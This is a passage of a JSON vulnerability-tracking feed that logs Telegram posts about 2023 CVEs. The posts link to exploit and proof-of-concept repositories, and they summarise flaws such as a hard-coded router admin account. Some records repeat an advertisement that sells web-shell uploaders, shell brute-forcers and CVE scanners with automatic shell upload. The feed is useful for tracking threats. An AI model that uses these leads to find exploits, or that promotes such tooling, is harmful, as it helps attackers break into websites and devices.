https://github.com/trustcves/CVE-2023-31434", "creation_timestamp": "2026-07-31T01:00:03.863956Z"}, {"uuid": "e1ad6bbb-1438-463e-a7b9-3e3481c6d867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13542", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31779*\nGithub: https://github.com/jet-pentest/CVE-2023-31779", "creation_timestamp": "2026-07-31T01:00:08.765356Z"}, {"uuid": "37fcee4b-f65f-440e-b87b-e1a4a5e892d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3163", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/14672", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2023-3163-SQL-Injection-Prevention*\nGithub: https://github.com/George0Papasotiriou/CVE-2023-3163-SQL-Injection-Prevention", "creation_timestamp": "2026-07-31T01:00:14.000264Z"}, {"uuid": "ab55ca6b-7929-4fac-b3a8-5329b009ca9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1804", "content": "https://xz.aliyun.com/t/13216\nCVE-2023-31099\n#exploit", "creation_timestamp": "2024-01-06T19:33:35.000000Z"}, {"uuid": "7529dead-7a44-45e9-a4c7-32fac43eb347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31195", "type": "seen", "source": "https://t.me/Russian_OSINT/2677", "content": "\ud83d\udea4 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f ASUS \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u00ab\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c\u0441\u044f\u00bb\n\nASUS \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441 \u043a\u0443\u043c\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"Latest security updates\" \u043e\u0442 06/19/2023 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u2194\ufe0f \u0412 \u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0435\u0432\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u0435 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0412 \u0441\u043f\u0438\u0441\u043a\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f CVE-2023-28702, CVE-2023-28703, CVE-2023-31195, CVE-2022-46871, CVE-2022-38105, CVE-2022-35401, CVE-2018-1160, CVE-2022-38393, CVE-2022-26376.\n\n\u0412 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438: GT6, GT-AXE16000, GT-AX11000 PRO, GT-AX6000, GT-AX11000, GS-AX5400, GS-AX3000, XT9, XT8, XT8 V2, RT-AX86U PRO, RT-AX86U, RT-AX86S, RT-AX82U, RT-AX58U, RT-AX3000, TUF-AX6000 \u0438 TUF-AX5400.\n\nhttps://www.asus.com/content/asus-product-security-advisory/#:~:text=06/19/2023%20New%20firmware%20with%20accumulate%20security%20updates\n\n\u270b @Russian_OSINT", "creation_timestamp": "2023-06-19T19:55:30.000000Z"}, {"uuid": "5aebb143-f48e-4e8f-8fc2-98bff7dbbc6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1522", "content": "https://github.com/whypet/CVE-2023-31320\n\nDoS vulnerability in AMD driver that corrupts the display.\n\n#github", "creation_timestamp": "2023-11-16T05:20:37.000000Z"}, {"uuid": "595432c5-f7ea-452c-b550-2669280aa750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1178", "content": "https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419\nElasticsearch\u5806\u6808\u6ea2\u51fa\u6f0f\u6d1e\n#github", "creation_timestamp": "2023-09-24T15:22:35.000000Z"}, {"uuid": "a0961202-c9e3-43c2-9069-ef20695ac0b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11757", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31445-Unprivileged-Information-Disclosure*\nGithub: https://github.com/Dodge-MPTC/CVE-2023-31445-Unprivileged-Information-Disclosure", "creation_timestamp": "2026-07-31T02:00:03.509713Z"}, {"uuid": "4857ab83-1d7c-41ea-9508-7a7a81f008da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31443", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11777", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31443*\nGithub: https://github.com/MaherAzzouzi/CVE-2023-31443", "creation_timestamp": "2026-07-31T02:00:03.690525Z"}, {"uuid": "89f19648-6275-43ee-93bb-e0abf4063b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31433", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12034", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31433*\nGithub: https://github.com/trustcves/CVE-2023-31433", "creation_timestamp": "2026-07-31T02:00:04.562663Z"}, {"uuid": "2117b481-0887-4a03-8b29-8be109dc52c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9402", "content": "#exploit\n1. CVE-2023-32407:\nmacOS TCC bypass in Metal\nhttps://github.com/gergelykalman/CVE-2023-32407-a-macOS-TCC-bypass-in-Metal\n\n2. CVE-2023-36427:\nArbitrary physical memory corruption from the root partition on Windows\nhttps://github.com/tandasat/CVE-2023-36427\n\n3. CVE-2023-31320:\nDoS vulnerability in AMD driver that corrupts the display\nhttps://github.com/whypet/CVE-2023-31320", "creation_timestamp": "2023-11-16T11:01:01.000000Z"}, {"uuid": "fbd4c071-a91f-450a-8713-19920a1f27e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31546", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9579", "content": "#exploit\n1. CVE-2023-50164:\nApache Struts2 Exploit\nhttps://xz.aliyun.com/t/13172\n\n2. CVE-2023-31546:\nDedeBIZ v6.0.3 XSS vulnerability\nhttps://github.com/ran9ege/CVE-2023-31546/blob/main/CVE-2023-31546.md\n\n3. Exploits with pwntools library in Python3. ROP, BOF, SHELLCODE\nhttps://github.com/davidenetti/SoftwareSecurityNotes", "creation_timestamp": "2023-12-13T15:20:17.000000Z"}, {"uuid": "71e1803a-60d6-478e-ab1b-7e61b0736829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "published-proof-of-concept", "source": "Telegram/r4YAq9sqiCZdls8-ldA7XAIZMKynCRrGuzy5h6EQSIOA624", "content": "", "creation_timestamp": "2026-08-04T10:00:05.493764Z"}, {"uuid": "02320b27-01ca-40be-9d73-21441db5ca72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9734", "content": "#exploit\n1. CVE-2023-31099:\nZoho ManageEngine Opmanager deserialization RCE\nhttps://xz.aliyun.com/t/13216\n\n2. PoC for webauthn/passkeyss\nhttps://github.com/spbkaizo/go-demo-passkeys\n\n3. Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability\nhttps://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability\n]-> PoC: https://github.com/star-sg/CVE/tree/master/CVE-2023-1829", "creation_timestamp": "2024-01-06T18:45:41.000000Z"}, {"uuid": "a3d8a2c1-32e1-484a-95ec-4dfa2ee01922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9743", "content": "#exploit\n1. CVE-2023-31446:\nDodge OPTIFY RCE\nhttps://github.com/Dodge-MPTC/CVE-2023-31446-Remote-Code-Execution\n\n2. CVE-2020-11110:\nGrafana Stored CSS\nhttps://github.com/AVE-Stoik/CVE-2020-11110-Proof-of-Concept/tree/main\n\n3.\u00a0CVE-2023-51467:\nApache Ofbiz Exploit\nhttps://github.com/JaneMandy/CVE-2023-51467-Exploit", "creation_timestamp": "2024-01-07T22:09:15.000000Z"}, {"uuid": "72aea1d2-0d73-4c32-b97f-4ad8f22cb0b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8320", "content": "#exploit\n1. CVE-2023-31702 / CVE-2023-31703:\neScan Management Console 14.0.x - Cross Site Scripting/SQL Injection\nhttps://github.com/sahiloj/CVE-2023-31703\n\n2. CVE-2023-32243:\nEssential Addons for Elementor - Unauth Privilege Escalation\nhttps://github.com/RandomRobbieBF/CVE-2023-32243", "creation_timestamp": "2023-05-18T18:40:32.000000Z"}, {"uuid": "01eeaf0d-a835-4208-bc90-0daf2c273474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8320", "content": "#exploit\n1. CVE-2023-31702 / CVE-2023-31703:\neScan Management Console 14.0.x - Cross Site Scripting/SQL Injection\nhttps://github.com/sahiloj/CVE-2023-31703\n\n2. CVE-2023-32243:\nEssential Addons for Elementor - Unauth Privilege Escalation\nhttps://github.com/RandomRobbieBF/CVE-2023-32243", "creation_timestamp": "2023-05-18T18:40:32.000000Z"}, {"uuid": "f49b170a-633b-41f7-9b99-16faa2d1a256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8333", "content": "#exploit\n1. CVE-2023-31664:\nXSS in WSO2 API Manager\nhttps://github.com/adilkhan7/CVE-2023-31664\n\n2. CVE-2023-29919:\nArbitrary read file vulnerability in SolarView Compact <6.0\nhttps://github.com/xiaosed/CVE-2023-29919", "creation_timestamp": "2023-05-20T21:32:30.000000Z"}, {"uuid": "9aaec511-93f6-41d3-838a-6162d57bc95c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8356", "content": "#exploit\n1. CVE-2023-31779:\nStored XSS in Wekan\nhttps://github.com/jet-pentest/CVE-2023-31779\n\n2. CVE-2023-31726: \nAList 3.15.1 - Incorrect Access Control\nhttps://github.com/J6451/CVE-2023-31726\n\n3. Vulnerabilities of Goby supported with exploitation\nhttps://github.com/gobysec/GobyVuls", "creation_timestamp": "2023-05-24T11:01:01.000000Z"}, {"uuid": "221e3ec1-20ee-4947-b385-c3e00fb0fc13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31726", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8356", "content": "#exploit\n1. CVE-2023-31779:\nStored XSS in Wekan\nhttps://github.com/jet-pentest/CVE-2023-31779\n\n2. CVE-2023-31726: \nAList 3.15.1 - Incorrect Access Control\nhttps://github.com/J6451/CVE-2023-31726\n\n3. Vulnerabilities of Goby supported with exploitation\nhttps://github.com/gobysec/GobyVuls", "creation_timestamp": "2023-05-24T11:01:01.000000Z"}, {"uuid": "55124f41-fcb0-46b1-8fea-cf67463b5ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8362", "content": "#exploit\n1. CVE-2023-2859:\nStored HTML injection in folderName affecting Admin in TeamPass <3.0.9\nhttps://github.com/mnqazi/CVE-2023-2859\n\n2. CVE-2023-20869/CVE-2023-20870:\nVMWare Stack-based Overflow/Uninitialized Variable Info Leak\nhttps://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver\n\n3. CVE-2023-31070:\nBroadcom BCM47xx SDK EMF slab-out-of-bounds write\nhttps://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write", "creation_timestamp": "2023-05-25T12:49:50.000000Z"}, {"uuid": "895f1a87-9b53-4a9d-9300-9b99cf36959d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3163", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8472", "content": "#Blue_Team_Techniques\n1. CVE-2023-3163 SQL Injection Prevention\nhttps://github.com/George0Papasotiriou/CVE-2023-3163-SQL-Injection-Prevention\n2. Investigating legacy authentication: The curious case of \"BAV2ROPC\"\nhttps://redcanary.com/blog/bav2ropc", "creation_timestamp": "2023-06-11T12:53:01.000000Z"}, {"uuid": "cc277ae4-61b5-49f8-85ff-c2bc23ab8739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8634", "content": "#exploit\n1. CVE-2023-31248:\nLinux Kernel nftables UAF LPE\nhttps://github.com/kungfulon/nf-tables-lpe\n\n2. CVE-2023-30990:\nUnauthenticated RCE in IBM i DDM Service\nhttps://blog.silentsignal.eu/2023/07/03/ibm-i-dde-vulnerability-cve-2023-30990\n\n3. CVE-2020-0911:\nWindows Installer arbitrary content manipulation EoP\nhttps://offsec.almond.consulting/windows-msiexec-eop-cve-2020-0911.html", "creation_timestamp": "2024-10-31T15:27:49.000000Z"}, {"uuid": "e6a2993d-541e-41c1-8f10-d1f59f0c62b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31998", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8650", "content": "#exploit\n1. CVE-2023-31998:\nVulnerability in EdgeRouters\u2019s and AirCube\u2019s\nhttps://ssd-disclosure.com/ssd-advisory-edgerouters-and-aircube-miniupnpd-heap-overflow\n\n2. CVE-2023-32235:\nGhost Path Traversal\nhttps://github.com/VEEXH/Ghost-Path-Traversal-CVE-2023-32235-\n\n3. CVE-2023-2255:\nLibre Office -\u00a0Improper Access Control\nhttps://github.com/elweth-sec/CVE-2023-2255", "creation_timestamp": "2023-07-11T13:12:49.000000Z"}, {"uuid": "8bce4254-cee9-4721-a99d-a6493d726245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31492", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9971", "content": "#exploit\n1. CVE-2023-47218:\nQNAP QTS/QuTS Hero Unauthenticated Command Injection\nhttps://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed\n\n2. POC Pdf-exploit builder on C#\nhttps://github.com/K3rnel-Dev/pdf-exploit\n\n3. CVE-2023-31492:\nManageEngine ADManager Plus Recovery Password Disclosure\nhttps://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492", "creation_timestamp": "2024-02-14T22:24:47.000000Z"}, {"uuid": "2652e553-2b4e-4678-9038-12d0febb655a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9082", "content": "#exploit\n1. CVE-2023-31419:\nElasticsearch StackOverflow vulnerability\nhttps://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419\n\n2. Gallery3D Tecno Hidden Image Bypass Exploit\nhttps://github.com/tahaafarooq/gallery3d-tecno-exploit", "creation_timestamp": "2023-09-24T18:54:10.000000Z"}, {"uuid": "f170ca10-820d-4c0b-90f3-303be74793cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1116", "content": "#exploit\n1. CVE-2023-31419:\nElasticsearch StackOverflow vulnerability\nhttps://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419\n\n2. Gallery3D Tecno Hidden Image Bypass Exploit\nhttps://github.com/tahaafarooq/gallery3d-tecno-exploit", "creation_timestamp": "2024-08-16T08:28:27.000000Z"}, {"uuid": "6907f80d-b048-4126-96da-dca9f12e5d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31546", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2260", "content": "#exploit\n1. CVE-2023-50164:\nApache Struts2 Exploit\nhttps://xz.aliyun.com/t/13172\n\n2. CVE-2023-31546:\nDedeBIZ v6.0.3 XSS vulnerability\nhttps://github.com/ran9ege/CVE-2023-31546/blob/main/CVE-2023-31546.md\n\n3. Exploits with pwntools library in Python3. ROP, BOF, SHELLCODE\nhttps://github.com/davidenetti/SoftwareSecurityNotes", "creation_timestamp": "2024-08-16T08:56:12.000000Z"}, {"uuid": "6b5df5ff-ef8d-4d1a-a807-45d84dad7694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31808", "type": "exploited", "source": "https://t.me/Rootsec_2/381", "content": "\ud83d\udca5Hard-coded credentials in Technicolor TG670 DSL gateway router(CVE-2023-31808)\nThe Technicolor TG670 Router DSL Gateway Router includes a hard-coded service account that allows for authentication over services on the WAN interface, using HTTP, SSH, or TELNET. The authenticated user can use it to gain full administrative control of the router.\n\n\u26a0\ufe0fA remote attacker can use the default username and password to login as the administrator to the router device. This allows the attacker to modify any of the administrative settings of the router and use it in unexpected ways. This requires Remote Administration is enabled on the router, which is the default setting.", "creation_timestamp": "2024-08-16T08:08:28.000000Z"}, {"uuid": "d4e9496b-cca3-4d0d-856b-9e5837fdfb6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31190", "type": "seen", "source": "https://t.me/Rootsec_2/385", "content": "\ud83d\udce1Nozomi Networks Discovers Three Vulnerabilities Affecting BlueMark DroneScout ds230 Remote ID Receiver \n\"In this blog post, we disclose three vulnerabilities (critical, high and medium risk) which affect the DroneScout ds230 device. Two of these vulnerabilities(CVE-2023-31191 & CVE-2023-29156) could allow an attacker to spoof Remote ID information forcing the DroneScout ds230 to drop Remote ID information transmitted by legitimately communicating drones. The consequence of this is the attacker being able to inject fake locations associated with the legitimate drones detected by the DroneScout. The third vulnerability(CVE-2023-31190) discovered demonstrates the capability to install malicious firmware updates on the DroneScout appliance. \"\n\n#ODID #expoitation #fw #DroneScout #Drone #UAV #UAS", "creation_timestamp": "2024-08-16T08:08:28.000000Z"}, {"uuid": "73a61770-259c-4636-9470-99fbae1b6668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31191", "type": "seen", "source": "https://t.me/Rootsec_2/385", "content": "\ud83d\udce1Nozomi Networks Discovers Three Vulnerabilities Affecting BlueMark DroneScout ds230 Remote ID Receiver \n\"In this blog post, we disclose three vulnerabilities (critical, high and medium risk) which affect the DroneScout ds230 device. Two of these vulnerabilities(CVE-2023-31191 & CVE-2023-29156) could allow an attacker to spoof Remote ID information forcing the DroneScout ds230 to drop Remote ID information transmitted by legitimately communicating drones. The consequence of this is the attacker being able to inject fake locations associated with the legitimate drones detected by the DroneScout. The third vulnerability(CVE-2023-31190) discovered demonstrates the capability to install malicious firmware updates on the DroneScout appliance. \"\n\n#ODID #expoitation #fw #DroneScout #Drone #UAV #UAS", "creation_timestamp": "2024-08-16T08:08:28.000000Z"}, {"uuid": "ebbadb33-bd0c-4349-b70c-60fd73646be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1735", "content": "#exploit\n1. CVE-2023-32407:\nmacOS TCC bypass in Metal\nhttps://github.com/gergelykalman/CVE-2023-32407-a-macOS-TCC-bypass-in-Metal\n\n2. CVE-2023-36427:\nArbitrary physical memory corruption from the root partition on Windows\nhttps://github.com/tandasat/CVE-2023-36427\n\n3. CVE-2023-31320:\nDoS vulnerability in AMD driver that corrupts the display\nhttps://github.com/whypet/CVE-2023-31320", "creation_timestamp": "2024-08-16T08:45:56.000000Z"}, {"uuid": "f4eaa93a-7683-4467-a85b-5977e32b7126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2439", "content": "#exploit\n1. CVE-2023-31446:\nDodge OPTIFY RCE\nhttps://github.com/Dodge-MPTC/CVE-2023-31446-Remote-Code-Execution\n\n2. CVE-2020-11110:\nGrafana Stored CSS\nhttps://github.com/AVE-Stoik/CVE-2020-11110-Proof-of-Concept/tree/main\n\n3.\u00a0CVE-2023-51467:\nApache Ofbiz Exploit\nhttps://github.com/JaneMandy/CVE-2023-51467-Exploit", "creation_timestamp": "2024-08-16T09:01:19.000000Z"}, {"uuid": "9049801b-5351-4fb4-acca-974e65442d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "exploited", "source": "https://t.me/FanatixRipperNews/693", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu & Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime & Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:04.000000Z"}, {"uuid": "40b9327e-99da-49d8-905b-e4ae5cd54f55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "exploited", "source": "https://t.me/FanatixRipperNews/726", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu & Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 